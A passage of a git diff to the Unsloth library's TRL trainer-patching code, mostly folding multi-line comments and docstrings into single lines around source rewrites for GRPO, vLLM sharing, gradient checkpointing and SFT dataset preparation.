"True"num_proc_check = (@@ -3033,11 +2534,8 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)extra_args += pad_to_multiple_of- # Check for loss_type = dr_grpo and scale_rewards for GRPO; DAPO uses per-token loss, so BNPO loss- # is used. See huggingface/trl#3130 (comment 2746947835).+ # Check for loss_type = dr_grpo and scale_rewards for GRPO; DAPO uses per-token loss, so BNPO loss is used. See huggingface/trl#3130 (comment 2746947835).if "loss_type" in call_args and "scale_rewards" in call_args:- # See https://github.com/huggingface/trl/issues/3130#issuecomment-2746947835 DAPO uses per token loss so- # BNPO loss usedcheck_dr_grpo = ("if loss_type.lower() == 'dr_grpo':\n"" loss_type = 'dr_grpo'\n"@@ -3062,14 +2560,12 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)extra_args += check_dr_grpo- # Check the GRPO num_generations mismatch; if world size is not set by accelerate or torchrun at this point it is 1.if ("per_device_train_batch_size" in call_argsand "num_generations" in call_argsand "steps_per_generation" in call_argsand "generation_batch_size" in call_args):- # if world size is not set by accelerate or torchrun at this point it will be 1check_num_generations = ("if steps_per_generation is None and generation_batch_size is None:\n"" ga = gradient_accumulation_steps\n"@@ -3096,7 +2592,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)extra_args += check_num_generations- # Temperature must not be <= 0, and stop if >= 10.if "temperature" in call_args:check_temperature = ("if temperature <= 0:\n"@@ -3118,8 +2613,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):RLConfig_extra_args = extra_argsRLConfig_call_args = call_args- # TRL 0.27.0+ forces use_reentrant=False in gradient_checkpointing_kwargs, but Unsloth gradient- # checkpointing requires True, so remove the setting after super().__init__() applies it.+ # TRL 0.27.0+ forces use_reentrant=False in gradient_checkpointing_kwargs, but Unsloth gradient checkpointing requires True, so remove the setting after super().__init__() applies it.RLConfig_post = ""if trl_version >= Version("0.27.0"):RLConfig_post = (@@ -3192,8 +2686,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)if RLTrainer_name == "GRPOTrainer":- # Base torch_compile_options shared by all device types; CUDA adds its own, and XPU / HIP / others- # use the base only.+ # Base torch_compile_options shared by all device types; CUDA adds its own, and XPU / HIP / others use the base only.base_options = """torch_compile_options = {"epilogue_fusion" : True,"max_autotune" : False,@@ -3201,7 +2694,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):"trace.enabled" : False,"""if DEVICE_TYPE == "cuda":- # CUDA-specific options (added to base options)cuda_options = """"triton.enable_persistent_tma_matmul": torch.cuda.get_device_capability()[0] >= 9,"""# cutlass options were added in PyTorch 2.8.0.@@ -3215,7 +2707,6 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):}"""new_options = base_options + cuda_optionselse:- # XPU, HIP, and other device types use base options onlynew_options = (base_options+ """@@ -3227,9 +2718,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):RLTrainer_source = re.sub(pattern, new_options, RLTrainer_source, flags = re.DOTALL)if trl_version >= Version("1.4.0"):- # The `elif is_peft_model(model) and args.beta != 0.0:` ref-adapter block exists from TRL- # 1.4.0 through 1.7.x. Anchored on the final ref_param copy so the following- # enable_input_require_grads() block is not swallowed.+ # The `elif is_peft_model(model) and args.beta != 0.0:` ref-adapter block exists from TRL 1.4.0 through 1.7.x. Anchored on the final ref_param copy so the following enable_input_require_grads() block is not swallowed.peft_pattern = (r"\s*elif is_peft_model\(model\) and args\.beta != 0\.0:"r".*?"@@ -3245,8 +2734,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)if trl_version >= Version("1.7.0"):- # router_aux_loss_coef / aux_loss_enabled arrived in TRL 1.7.0, and the optimized GRPO forward- # cannot compute the MoE router aux loss, so reject an explicit opt-in at init.+ # router_aux_loss_coef / aux_loss_enabled arrived in TRL 1.7.0, and the optimized GRPO forward cannot compute the MoE router aux loss, so reject an explicit opt-in at init.RLTrainer_source = RLTrainer_source.replace("self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0","self.aux_loss_enabled = is_moe and args.router_aux_loss_coef != 0.0\n"@@ -3282,13 +2770,11 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):flags = re.DOTALL,)- # Remove TRL 0.26.0's unconditional bfloat16 cast of trainable params: it ignores the user's- # dtype and breaks GradScaler with fp16=True. patch_model_and_tokenizer already handles it.+ # Remove TRL 0.26.0's unconditional bfloat16 cast of trainable params: it ignores the user's dtype and breaks GradScaler with fp16=True. patch_model_and_tokenizer already handles it.RLTrainer_source = RLTrainer_source.replace('if getattr(model, "is_loaded_in_4bit", False) or getattr(model, "is_loaded_in_8bit", False):',"if False:",)- # TRL >= 1.7.0 spells the same QLoRA bf16 cast as `if _is_quantized_model:`.RLTrainer_source = RLTrainer_source.replace("if _is_quantized_model:","if False:",@@ -3303,9 +2789,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):)RLTrainer_source = RLTrainer_source.replace(original_text, new_text)- # Do NOT override _is_vlm: forcing it False errors on vision datasets in TRL 0.27.1+. A bare- # tokenizer as processing_class makes TRL set it False even for VLMs, so add an- # architecture-based override before the validation check.+ # Do NOT override _is_vlm: forcing it False errors on vision datasets in TRL 0.27.1+. A bare tokenizer as processing_class makes TRL set it False even for VLMs, so add an architecture-based override before the validation check._vlm_check_original = (' self._is_vision_dataset = "image" in dataset_sample or "images" in dataset_sample\n'" if self._is_vision_dataset and not self._is_vlm:"@@ -3324,8 +2808,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):if _vlm_check_original in RLTrainer_source:RLTrainer_source = RLTrainer_source.replace(_vlm_check_original, _vlm_check_patched)- # TRL 0.22.x keys off _is_vlm, not _is_vision_dataset (0.24.0+), so the vision-only signature- # columns never overlap the tokenized ones. Merge both sets; _remove_unused_columns ignores extras.+ # TRL 0.22.x keys off _is_vlm, not _is_vision_dataset (0.24.0+), so the vision-only signature columns never overlap the tokenized ones. Merge both sets; _remove_unused_columns ignores extras._sig_vlm_old = 'self._signature_columns = ["messages", "prompt", "completion", "images"]'_sig_vlm_new = ('self._signature_columns = ["messages", "prompt", "completion", "images",'@@ -3335,27 +2818,22 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):RLTrainer_source = _backport_vision_dataset_gate(RLTrainer_source)- # Inject the model reference before _prepare_dataset for dynamic token_type_ids detection in- # sft_prepare_dataset.+ # Inject the model reference before _prepare_dataset for dynamic token_type_ids detection in sft_prepare_dataset._prep_pattern = r"([ \t]*)train_dataset = self\._prepare_dataset\("_prep_replacement = (r"\1self._unsloth_model_ref = model\n\1train_dataset = self._prepare_dataset(")RLTrainer_source = re.sub(_prep_pattern, _prep_replacement, RLTrainer_source, count = 1)- # Silence TRL's noisy batch_size=1 + padding-free warning, handling both the original "anihilate"- # typo and the corrected spelling.+ # Silence TRL's noisy batch_size=1 + padding-free warning, handling both the original "anihilate" typo and the corrected spelling.for _typo in ("anihilate", "annihilate"):_idx = RLTrainer_source.find(_typo)if _idx == -1:continue- # Walk backwards to find "if args.per_device_train_batch_size"_block_start = RLTrainer_source.rfind("if args.per_device_train_batch_size == 1", 0, _idx)if _block_start == -1:continue- # Walk backwards to the newline before the if_line_start = RLTrainer_source.rfind("\n", 0, _block_start)- # Walk forwards past the closing paren to the end of the block_close = RLTrainer_source.find(")", _idx)if _close == -1:continue@@ -3365,10 +2843,7 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):RLTrainer_source = RLTrainer_source[:_line_start] + RLTrainer_source[_block_end:]break- # TRL converts a plain TrainingArguments with `args = <X>Config(**dict_args)`, resolved- # through the generated module's globals, so it hands back a PRISTINE config: no unsloth- # fields (#3931), and a class the first checkpoint save cannot pickle. Only the construction- # is rewritten; the isinstance guard still wants the pristine class.+ # TRL converts a plain TrainingArguments with `args = <X>Config(**dict_args)`, resolved through the generated module's globals, so it hands back a PRISTINE config: no unsloth fields (#3931), and a class the first checkpoint save cannot pickle. Only the construction is rewritten; the isinstance guard still wants the pristine class.RLTrainer_source = RLTrainer_source.replace(f"args = {RLConfig_name}(**dict_args)",f"args = Unsloth{RLConfig_name}(**dict_args)",@@ -3426,18 +2901,12 @@ def _patch_trl_rl_trainers_impl(trainer_file = "grpo_trainer"):globals(),)_displaced_config = None- # TRL 1.0.0+ wraps generation in: with torch.no_grad(), disable_gradient_checkpointing(self.model, ...): The- # toggle only suppresses a cosmetic PyTorch warning; under no_grad it has no functional effect. But on exit- # it calls gradient_checkpointing_enable(), overwriting Unsloth's custom "unsloth" wrapper -- for Gemma-4- # this corrupts forward numerics and blows GRPO KL divergence up to ~10^12 at step 1. Replacing the context- # manager with a no-op preserves Unsloth's wrapper. trl < 1.0.0 (no disable_gradient_checkpointing): early- # return. trl >= 1.0.0: noop is correct; only loss is the cosmetic warning.+ # TRL 1.0.0+ wraps generation in `with torch.no_grad(), disable_gradient_checkpointing(self.model, ...)`. Under no_grad the toggle has no functional effect, but on exit it calls gradient_checkpointing_enable(), overwriting Unsloth's "unsloth" wrapper, which for Gemma-4 corrupts forward numerics and blows GRPO KL divergence up to ~10^12 at step 1. Replacing the context manager with a no-op preserves the wrapper; trl < 1.0.0 has no such CM and returns early.try:config_module_name = trainer_file.replace("_trainer", "_config")config_module = importlib.import_module(f"trl.trainer.{config_module_name}")if hasattr(config_module, RLConfig_name):- # Remember what this attribute held: on the TRL releases that put a thin wrapper here it is a class- # of its own, and its instances need the same pickling fallback the pristine class gets.+ # Remember what this attribute held: on the TRL releases that put a thin wrapper here it is a class of its own, and its instances need the same pickling fallback the pristine class gets._displaced_config = getattr(config_module, RLConfig_name)setattr(config_module,@@ -3502,12 +2971,9 @@ def patch_functions(RLTrainer, trainer_file, RLTrainer_name, all_imports, import"if False:",)init = init.replace("model = self._prepare_peft_model(model, peft_config, args)\n", "pass\n")- # TRL 0.22.0+ uses prepare_peft_model as a standalone function.init = init.replace("model = prepare_peft_model(model, peft_config, args)", "pass")- # Skip add_adapter("ref"): the BASE model is the wanted reference, and PEFT forbids multiple- # adapters under target_parameters (MoE). Without "ref", GRPO/RLOO falls back to- # disable_adapter(), which is exactly the base model logits.+ # Skip add_adapter("ref"): the BASE model is the wanted reference, and PEFT forbids multiple adapters under target_parameters (MoE). Without "ref", GRPO/RLOO falls back to disable_adapter(), which is exactly the base model logits.add_adapter_block_pattern = (r"([ \t]*)" # Capture leading indentationr"if\s+is_peft_available\(\)\s+and\s+is_peft_model\(model\)\s+and\s+args\.beta\s*!=\s*0\.0\s*:"@@ -3524,7 +2990,6 @@ def patch_functions(RLTrainer, trainer_file, RLTrainer_name, all_imports, importcommented_lines.append(f"{indent}# Unsloth: Commented out - use base model as reference, not SFT/LoRA model")- # Comment out each line by inserting # after the leading whitespace, to preserve indentation.for line in lines:if line.strip():stripped = line.lstrip()@@ -3556,11 +3021,9 @@ def patch_functions(RLTrainer, trainer_file, RLTrainer_name, all_imports, import)if "grpo" in trainer_file and trl_version >= Version("0.18.0"):- # If the model has a vllm_engine, use vllm in colocate mode and do not wait for a server.vllm_setter += " " * 12 + "args.vllm_mode='colocate'\n"if trl_version >= Version("0.23.0"):- # Align TRL sleep mode with the engine's actual enable_sleep_mode (the vision standby gate may have- # disabled it); fall back to the standby env var when the engine cannot be introspected.+ # Align TRL sleep mode with the engine's actual enable_sleep_mode (the vision standby gate may have disabled it); fall back to the standby env var when the engine cannot be introspected.vllm_setter += (" " * 12+ "_unsloth_esm = getattr(getattr(getattr(getattr(model.vllm_engine, 'llm_engine', None), 'vllm_config', None), 'model_config', None), 'enable_sleep_mode', None)\n"@@ -3599,7 +3062,6 @@ def patch_functions(RLTrainer, trainer_file, RLTrainer_name, all_imports, import'GuidedDecodingParams(backend="outlines", regex=args.vllm_guided_decoding_regex) ''if getattr(args, "vllm_guided_decoding_regex", None) is not None else None,',)- # Replace with our vLLM engine when sharing weights.sampling_params = (" " * 12+ "if getattr(getattr(model, 'vllm_engine', None), 'shared_weights', False): "@@ -3616,7 +3078,6 @@ def patch_functions(RLTrainer, trainer_file, RLTrainer_name, all_imports, importlast_indentation = len(last_line) - len(last_line.lstrip())extra = "**getattr(getattr(args, 'vllm_sampling_params', vLLMSamplingParams()), '_set_kwargs', {})"- # Backwards replace.to_replace = (",\n"+ " " * last_prev_indentation@@ -3633,8 +3094,7 @@ def patch_functions(RLTrainer, trainer_file, RLTrainer_name, all_imports, import)if trl_version >= Version("0.18.0"):- # Guard LLM init: use the existing vLLM engine when sharing weights, otherwise keep the original- # LLM() creation for the sync/reload path.+ # Guard LLM init: use the existing vLLM engine when sharing weights, otherwise keep the original LLM() creation for the sync/reload path.vllm_llm_init_pattern = r"(?P<indent>[ \t]*)self\.llm\s*=\s*LLM\(.*?\)*\)\s*?\n(?!,)"def guard_llm_init(match):@@ -3656,7 +3116,6 @@ def patch_functions(RLTrainer, trainer_file, RLTrainer_name, all_imports, importinit = init.replace(vllm_part, new_vllm_part)- # Search for vLLM calls in all child functions.functions = dir(RLTrainer)RLTrainer_source = inspect.getsource(RLTrainer)functions = [x for x in functions if f"def {x}" in RLTrainer_source]@@ -3716,7 +3175,6 @@ def patch_functions(RLTrainer, trainer_file, RLTrainer_name, all_imports, importsource,)- # Replace self.llm.generate and self.llm.chat with lora_request, only when sharing weights.if "CUDA_VISIBLE_DEVICES" in os.environ:lora_name = (trainer_file@@ -3734,14 +3192,11 @@ def patch_functions(RLTrainer, trainer_file, RLTrainer_name, all_imports, import+ r" else None)",source,)- # Fix multiple commas before lora_request, in case the original code ends with ",)" as trl's- # grpo_trainer.py#L1388 does.+ # Fix multiple commas before lora_request, in case the original code ends with ",)" as trl's grpo_trainer.py#L1388 does.source = re.sub(r"\,[\s]{1,}\,[\s]{0,}lora_request", ", lora_request", source)source = re.sub(r"[\s]{1,}\,[\s]{0,}lora_request", ", lora_request", source)source = re.sub(r"[\,]{1,}[\s]{0,}lora_request", ", lora_request", source)- # Prefer Unsloth's sampling params and fall back to trl's; to be enabled once both these and- # GRPOConfig params are combined.- # Fix later versions of SamplingParams via grpo_update_SamplingParams.+ # Prefer Unsloth's sampling params and fall back to trl's; to be enabled once both these and GRPOConfig params are combined. Fix later versions of SamplingParams via grpo_update_SamplingParams.source = source.replace("sampling_params = SamplingParams(**generation_kwargs)","sampling_params = SamplingParams("@@ -3790,9 +3245,7 @@ def patch_trl_rl_trainers():def patch_trl_disable_gradient_checkpointing():- # TRL 1.0.0+ wraps generation in disable_gradient_checkpointing(), which on exit calls- # gradient_checkpointing_enable() and overwrites Unsloth's "unsloth" wrapper: Gemma-4 forward- # numerics corrupt and GRPO KL hits ~1e12 at step 1. A no-op CM keeps the wrapper.+ # TRL 1.0.0+ wraps generation in disable_gradient_checkpointing(), which on exit calls gradient_checkpointing_enable() and overwrites Unsloth's "unsloth" wrapper: Gemma-4 forward numerics corrupt and GRPO KL hits ~1e12 at step 1. A no-op CM keeps the wrapper.try:import trl.models.utils as _tmuexcept ImportError:@@ -3814,8 +3267,7 @@ def patch_trl_disable_gradient_checkpointing():_tmu.disable_gradient_checkpointing = _noop_disable_gradient_checkpointing- # Also rebind any trl.* module that imported the symbol by reference at import time, walking- # sys.modules so every `from ...models.utils import disable_gradient_checkpointing` is caught.+ # Also rebind any trl.* module that imported the symbol by reference at import time, walking sys.modules so every `from ...models.utils import disable_gradient_checkpointing` is caught.for _mod_name, _mod in list(sys.modules.items()):if _mod is None or not _mod_name.startswith("trl."):continue@@ -3851,8 +3303,7 @@ def patch_trl_openenv():def patch_trl_vllm_generation():- # trl moved vllm code to trl/generation/vllm_generation.py; patch it so it does not build a- # second vLLM instance when fast_inference has one: wrap the multiline `self.llm = LLM(..)`.+ # trl moved vllm code to trl/generation/vllm_generation.py; patch it so it does not build a second vLLM instance when fast_inference has one: wrap the multiline `self.llm = LLM(..)`.for function in RL_ADDITIONAL_FUNCTIONS["vllm_generation"]:logger.info(f"Unsloth: Patching trl VLLMGeneration with function: {function.__name__}")function()@@ -3862,12 +3313,10 @@ def patch_trl_vllm_generation():def PatchFastRL(algorithm = None, FastLanguageModel = None):if FastLanguageModel is not None:PatchRL(FastLanguageModel)- # Under UNSLOTH_ALLOW_CPU=1 (CPU-only CI), skip TRL trainer rewriting so downstream- # inspect.getsource(trl.SFTTrainer) drift detectors see the pristine upstream class.+ # Under UNSLOTH_ALLOW_CPU=1 (CPU-only CI), skip TRL trainer rewriting so downstream inspect.getsource(trl.SFTTrainer) drift detectors see the pristine upstream class.if os.environ.get("UNSLOTH_ALLOW_CPU", "0") == "1":return- # Install the disable_gradient_checkpointing noop BEFORE patch_trl_rl_trainers, which imports- # more trl.* submodules: anything imported after the sys.modules walk keeps the old binding.+ # Install the disable_gradient_checkpointing noop BEFORE patch_trl_rl_trainers, which imports more trl.* submodules: anything imported after the sys.modules walk keeps the old binding.patch_trl_disable_gradient_checkpointing()patch_trl_rl_trainers()patch_trl_openenv()diff --git a/unsloth/models/rl_config_compat.py b/unsloth/models/rl_config_compat.pyindex 6bda6756b33..3db293cf8ea 100644--- a/unsloth/models/rl_config_compat.py+++ b/unsloth/models/rl_config_compat.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.pyindex 3ec736431a4..b5240078c51 100644--- a/unsloth/models/rl_replacements.py+++ b/unsloth/models/rl_replacements.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -44,7 +41,6 @@ from unsloth_zoo.device_type import device_synchronizetry:from unsloth_zoo.device_map_planner import detect_logit_transformsexcept ImportError:- # Older unsloth_zoo: fall back to reading the config fields directly.detect_logit_transforms = Noneimport importlib.utilfrom ..device_type import (@@ -154,8 +150,7 @@ def sft_trainer_fix_untrained_tokens(call_args, extra_args):RL_EXTRA_ARGS["sft_trainer"].append(sft_trainer_fix_untrained_tokens)-# huggingface/trl#4695 added top_k to GRPOConfig defaulting to 0, but vLLM's include-all top_k-# is -1 and 0 errors on SamplingParams creation.+# huggingface/trl#4695 added top_k to GRPOConfig defaulting to 0, but vLLM's include-all top_k is -1 and 0 errors on SamplingParams creation.def grpo_config_fix_vllm_top_k(old_RLTrainer_source, old_RLConfig_source):return "if use_vllm and (top_k is None or top_k == 0): top_k = -1\n"@@ -163,7 +158,6 @@ def grpo_config_fix_vllm_top_k(old_RLTrainer_source, old_RLConfig_source):RL_CONFIG_CHANGES["grpo_trainer"].append(grpo_config_fix_vllm_top_k)-# Remove DPO columns which might randomnly be tokenizeddef dpo_trainer_fix_columns(call_args, extra_args):if "model" in call_args and "train_dataset" in call_args:fix_dpo = (@@ -472,14 +466,7 @@ def _require_replace(required = True,where = "",):- """str.replace that never silently no-ops a load-bearing source edit.-- Plain str.replace returns the source unchanged when the anchor is absent, so a- drifted anchor in a newer TRL / unsloth_zoo would skip the edit while later edits- still reference helper variables it should have introduced (NameError at runtime).- Fail loudly for a required edit, warn once and skip for an optional one, so a- drifted source can never corrupt the patched function silently.- """+ """str.replace that never silently no-ops a load-bearing source edit. Plain str.replace returns the source unchanged when the anchor is absent, so a drifted anchor in a newer TRL / unsloth_zoo would skip the edit while later edits still reference helper variables it should have introduced (NameError at runtime). Fail loudly for a required edit, warn once and skip for an optional one."""if old not in function:detail = f" ({where})" if where else ""if required:@@ -495,17 +482,13 @@ def _require_replace(return function.replace(old, new, count)-# The one line every unsloth_zoo sft_prepare_dataset ends its worker count on, as a regex so a-# renamed right-hand side still matches and the indentation carries over. Unchanged since Aug-# 2025 (#257) while the block around it was rewritten repeatedly, hence a fallback anchor.+# The one line every unsloth_zoo sft_prepare_dataset ends its worker count on, as a regex so a renamed right-hand side still matches and the indentation carries over. Unchanged since Aug 2025 (#257) while the block around it was rewritten repeatedly, hence a fallback anchor._ZOO_MAP_NUM_PROC_ASSIGNMENT = re.compile(r"^(?P<indent>[ \t]*)map_kwargs\[\"num_proc\"\][ \t]*=[ \t]*[^\n]+$",flags = re.MULTILINE,)-# The Zoo seeds its truncation length from args.max_length and falls through to-# args.max_seq_length only when that is 0; rl.py hands TRL >= 1.0.0 a None, so normalise it or-# nothing truncates.+# The Zoo seeds its truncation length from args.max_length and falls through to args.max_seq_length only when that is 0; rl.py hands TRL >= 1.0.0 a None, so normalise it or nothing truncates._ZOO_MAX_LENGTH_SEED = re.compile(r"^(?P<indent>[ \t]*)max_seq_length[ \t]*=[ \t]*getattr\(args,[ \t]*[\"']max_length[\"'],[ \t]*0\)[ \t]*$",flags = re.MULTILINE,@@ -513,13 +496,7 @@ _ZOO_MAX_LENGTH_SEED = re.compile(def _same_source(text):- """`text` with quote style normalised, for comparing two spellings of a line.-- The narrow regexes here already accept either quote, so the idempotence check- has to as well: a Zoo carrying the replacement with single quotes matched- neither the literal nor the `$`-anchored regex, and `required = True` then- raised on every SFT trainer over behaviour already present.- """+ """`text` with quote style normalised, for comparing two spellings of a line. The narrow regexes here already accept either quote, so the idempotence check has to as well: a Zoo carrying the replacement with single quotes matched neither the literal nor the `$`-anchored regex, and `required = True` then raised on every SFT trainer over behaviour already present."""return text.replace("'", '"')@@ -536,28 +513,11 @@ def _replace_or_fallback():"""str.replace over a wide anchor, with a narrower anchor to fall back on.- One literal anchor is all-or-nothing, and neither outcome is acceptable here.- `required = True` hard-fails every SFT run on a Zoo whose text merely moved.- `required = False` leaves the un-rewritten Zoo logic in place, and for the- worker count that is not the no-op it looks like: the config layer writes- "run in-process" as `args.dataset_num_proc = 1` (a config `None` means- "auto-size me" to the Zoo), the Zoo reads that `1` as an explicit count, and- `datasets` >= 4.1 builds a `Pool(1)` for it -- forking a tokenizer worker on- exactly the host, or the `UNSLOTH_DATASET_NUM_PROC=0`, that asked for none.-- So: try the wide anchor, then a narrow one that survives more drift, and warn- only when both miss. `fallback_new` is an `re.sub` template, so it can carry- the matched indentation over with `\\g<indent>`.-- `required = True` keeps the two-anchor tolerance but raises rather than warns- when BOTH miss, for an edit whose absence is not the no-op it looks like.- `consequence` says what that absence does, since the warning below speaks only- about the worker count.+ One literal anchor is all-or-nothing, and neither outcome is acceptable here. `required = True` hard-fails every SFT run on a Zoo whose text merely moved. `required = False` leaves the un-rewritten Zoo logic in place, and for the worker count that is not the no-op it looks like: the config layer writes "run in-process" as `args.dataset_num_proc = 1` (a config `None` means "auto-size me" to the Zoo), the Zoo reads that `1` as an explicit count, and `datasets` >= 4.1 builds a `Pool(1)` for it, forking a tokenizer worker on exactly the host that asked for none.++ So: try the wide anchor, then a narrow one that survives more drift, and warn only when both miss. `fallback_new` is an `re.sub` template, so it can carry the matched indentation over with `\\g<indent>`. `required = True` keeps the two-anchor tolerance but raises rather than warns when BOTH miss; `consequence` says what that absence does, since the warning below speaks only about the worker count."""- # Already done upstream, and checked FIRST: an edit is missing only if its RESULT is, and a Zoo- # that adopts the replacement is the forward case. Order matters: `old` is a prefix of `new`- # for the max_length seed, so the wide anchor matched the normalized line and appended a- # second `or 0`.+ # Already done upstream, and checked FIRST: an edit is missing only if its RESULT is, and a Zoo that adopts the replacement is the forward case. Order matters: `old` is a prefix of `new` for the max_length seed, so the wide anchor matched the normalized line and appended a second `or 0`.if _same_source(new) in _same_source(function):return functionif old in function:@@ -586,7 +546,6 @@ def _replace_or_fallback(return function-# Fix tokenizer double BOSdef sft_trainer_prepare_dataset(function_name, function):if function_name != "_prepare_non_packed_dataloader" and function_name != "_prepare_dataset":return function@@ -602,9 +561,7 @@ def sft_trainer_prepare_dataset(function_name, function):)if matched:function = inspect.getsource(fast_sft_prepare_dataset)- # Anchor the wrapped-packing setup on the function signature, which always exists, not the- # unsloth_zoo license comment, which a newer Zoo may move: anchoring there let the setup- # silently no-op while later edits used its variables, NameError-ing every SFT dataset prep.+ # Anchor the wrapped-packing setup on the function signature, which always exists, not the unsloth_zoo license comment, which a newer Zoo may move: anchoring there let the setup silently no-op while later edits used its variables, NameError-ing every SFT dataset prep.function, _n_setup = re.subn(r"(def sft_prepare_dataset\s*\(.*?\)\s*(?:->[^:\n]*)?:[ \t]*\n)",lambda match: match.group(1) + _WRAPPED_PACKING_SETUP,@@ -624,16 +581,12 @@ def sft_trainer_prepare_dataset(function_name, function):fallback_pattern = _ZOO_MAX_LENGTH_SEED,fallback_new = r'\g<indent>max_seq_length = getattr(args, "max_length", 0) or 0',where = "sft_prepare_dataset max_length seed",- # Not optional, unlike the worker count this helper was written for: the generated trainer- # clears args.max_length for padding-free, so an unrewritten seed reads None instead of the 0- # that falls through to max_seq_length. Both anchors missing means the neighbouring- # _require_replace edits have gone too.+ # Not optional, unlike the worker count this helper was written for: the generated trainer clears args.max_length for padding-free, so an unrewritten seed reads None instead of the 0 that falls through to max_seq_length. Both anchors missing means the neighbouring _require_replace edits have gone too.required = True,consequence = ", so `max_length` would not be enforced for raw ""datasets under padding-free batching",)- # Route each edit through _require_replace so a drifted anchor fails loudly instead of leaving- # a dangling reference to the setup variables.+ # Route each edit through _require_replace so a drifted anchor fails loudly instead of leaving a dangling reference to the setup variables.function = _require_replace(function,"truncation = do_truncation,",@@ -646,9 +599,7 @@ def sft_trainer_prepare_dataset(function_name, function):"if do_truncation and not _unsloth_wrapped_packing and max_seq_length > 0:",where = "sft_prepare_dataset truncation guard",)- # Reuse the guarded _unsloth_pack_has_strategy from the setup rather than re-calling- # _inspect.signature(pack_dataset): the setup wraps that in try/except, so a- # non-introspectable pack_dataset must not crash here.+ # Reuse the guarded _unsloth_pack_has_strategy from the setup rather than re-calling _inspect.signature(pack_dataset): the setup wraps that in try/except, so a non-introspectable pack_dataset must not crash here.function = _require_replace(function,"""dataset = pack_dataset(@@ -667,10 +618,7 @@ def sft_trainer_prepare_dataset(function_name, function):)""",where = "sft_prepare_dataset pack_dataset call",)- # The map() call site, not the config, is where the worker count is made safe: the Zoo copy- # asks stdlib multiprocessing for a start method datasets takes from multiprocess, and its- # low-memory branch yields 1, still a Pool(1) on datasets >= 4.1. Imported from the Zoo so- # generated source never imports back into its generator.+ # The map() call site, not the config, is where the worker count is made safe: the Zoo copy asks stdlib multiprocessing for a start method datasets takes from multiprocess, and its low-memory branch yields 1, still a Pool(1) on datasets >= 4.1. Imported from the Zoo so generated source never imports back into its generator.function = _replace_or_fallback(function,"""if not isinstance(dataset, IterableDataset):@@ -696,10 +644,7 @@ def sft_trainer_prepare_dataset(function_name, function):map_kwargs["num_proc"] = _unsloth_get_dataset_num_proc(getattr(args, "dataset_num_proc", None))""",- # The likeliest anchor here to drift, but its absence is not harmless: the config layer encodes- # serial as 1 for this site to turn back into None, and an un-rewritten Zoo hands that 1 to- # Dataset.map. The fallback keys on the block's closing assignment, unchanged since Aug 2025.- # Hard-failing instead would break every install on a newer Zoo.+ # The likeliest anchor here to drift, but its absence is not harmless: the config layer encodes serial as 1 for this site to turn back into None, and an un-rewritten Zoo hands that 1 to Dataset.map. The fallback keys on the block's closing assignment, unchanged since Aug 2025; hard-failing instead would break every install on a newer Zoo.fallback_pattern = _ZOO_MAP_NUM_PROC_ASSIGNMENT,fallback_new = r"""\g<indent>try:\g<indent> from unsloth_zoo.dataset_num_proc import get_dataset_num_proc as _unsloth_get_dataset_num_proc@@ -710,9 +655,7 @@ def sft_trainer_prepare_dataset(function_name, function):\g<indent>)""",where = "sft_prepare_dataset dataset_num_proc selection",)- # datasets never reads the child's exit status, so every worker death flattens into "One of the- # subprocesses has abruptly died during map operation". Wrap both tokenizing map() calls so the- # user gets the worker count, start method and implied memory.+ # datasets never reads the child's exit status, so every worker death flattens into "One of the subprocesses has abruptly died during map operation". Wrap both tokenizing map() calls so the user gets the worker count, start method and implied memory.function = _require_replace(function,""" with _w.catch_warnings():@@ -725,9 +668,7 @@ def sft_trainer_prepare_dataset(function_name, function):_w.filterwarnings("ignore", message=".*couldn't be hashed properly.*")""",count = 2,where = "sft_prepare_dataset tokenizing map() calls",- # required = False, like the selection above: this only improves a dead worker's message, and a- # diagnostic must not fail a run because a Zoo release moved its anchor.- # test_zoo_sft_prepare_dataset_anchor_has_not_drifted notices in CI instead.+ # required = False, like the selection above: this only improves a dead worker's message, and a diagnostic must not fail a run because a Zoo release moved its anchor. test_zoo_sft_prepare_dataset_anchor_has_not_drifted notices in CI instead.required = False,)function = function.split("\n")@@ -778,7 +719,6 @@ def sft_trainer_prepare_dataset(function_name, function):replacer = replacer[0]function = function.replace(replacer, replacer + check_text)- # Return tokenizer's original statereturn_state = "if tokenizer_call is not None: tokenizer.__call__ = tokenizer_call\n"function = re.sub(r"\n([ ]{4,})(return .*?[\s]{0,})$",@@ -818,8 +758,7 @@ def sft_trainer_compute_loss(function_name, function):RL_FUNCTIONS["sft_trainer"].append(sft_trainer_compute_loss)-# Route ORPO/CPO row tokenization through the underlying text tokenizer when the processing-# class is a multimodal processor; CPO reuses this code (#4952).+# Route ORPO/CPO row tokenization through the underlying text tokenizer when the processing class is a multimodal processor; CPO reuses this code (#4952).def 